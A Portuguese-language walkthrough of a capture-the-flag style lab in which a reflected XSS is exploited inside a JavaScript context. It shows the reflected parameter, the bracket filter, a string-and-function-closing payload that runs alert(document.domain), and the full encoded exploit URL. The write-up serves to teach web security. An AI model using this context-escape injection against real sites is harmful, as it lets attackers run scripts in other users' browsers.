Lab 3 - XSS Reflected em Contexto JavaScript
Este desafio de nível 3 consiste em explorar uma vulnerabilidade de Cross-Site Scripting (XSS) refletido onde o payload é injetado diretamente dentro de um contexto JavaScript.
URL do Desafio: https://brunomenozzi.com/desafios/xss3.php
Ao acessar a página, encontramos o seguinte código JavaScript:
// Its not used anymore
function display_message(){
var lang = "en-US";
if(lang == "en-US"){
var message = "Welcome!";
return message
}
var message = "Bem-vindo!";
return message;
}
// just say hello, doesnt matter what language do you speak, english is universal LOL
document.write('<h1>Welcome hacker =)</h1>');
Observação: O código sugere que existe manipulação de idioma, levantando suspeitas sobre parâmetros de URL que possam influenciar esse comportamento.
Após testar diferentes abordagens (fuzzing ou testes manuais), descobrimos que o parâmetro lang
é refletido na página:
- Acesso:
https://brunomenozzi.com/desafios/xss3.php?lang=123
- Resultado: O código se torna:
// Its not used anymore
function display_message(){
var lang = "123";
Conclusão: Temos uma injeção direta no contexto JavaScript!
Testamos se tags HTML são permitidas:
- Tentativa:
https://brunomenozzi.com/desafios/xss3.php?lang=123<
- Resultado: O valor volta para “en-US” padrão
Conclusão: A aplicação filtra caracteres <
e >
, impedindo o uso de tags HTML.
Nossa entrada está refletida dentro de:
- Uma variável JavaScript (
var lang
) - Dentro de uma função não executada (
display_message()
) - Precisamos escapar deste contexto para executar código
Estratégia: Fechar a função atual e criar uma nova estrutura válida
Payload Final:
";
}
alert(document.domain);
function nuncaserachamada(){//
URL Completa (Encoded):
https://brunomenozzi.com/desafios/xss3.php?lang=%22;%0a}%0aalert(document.domain);%0afunction%20nuncaserachamada(){//
O payload funciona porque:
";
- Fecha a string atual e finaliza a instrução}
- Fecha a funçãodisplay_message()
alert(document.domain);
- Executa nosso código maliciosofunction nuncaserachamada(){//
- Cria uma nova função e comenta o resto do código
Código Resultante:
function display_message(){
var lang = "";
}
alert(document.domain);
function nuncaserachamada(){//";
if(lang == "en-US"){
var message = "Welcome!";
return message
}
var message = "Bem-vindo!";
return message;
}
- Context Awareness: Entender que estávamos dentro de uma função JavaScript
- Escape de Contexto: Precisávamos sair da função atual para executar código
- Mantendo Sintaxe: Criar estrutura válida para evitar erros de JavaScript
- Comentários Estratégicos: Usar
//
para ignorar código residual
- Injeção em Contexto JS requer abordagem diferente de XSS HTML tradicional
- Filtros de caracteres podem ser contornados com manipulação de sintaxe
- Entender o escopo de execução é crucial para exploits bem-sucedidos
- Preservar a validade sintática do código é essencial para evitar detecção
Este desafio demonstra a importância de entender não apenas que existe uma vulnerabilidade XSS, mas também em qual contexto ela ocorre, adaptando a exploração conforme necessário.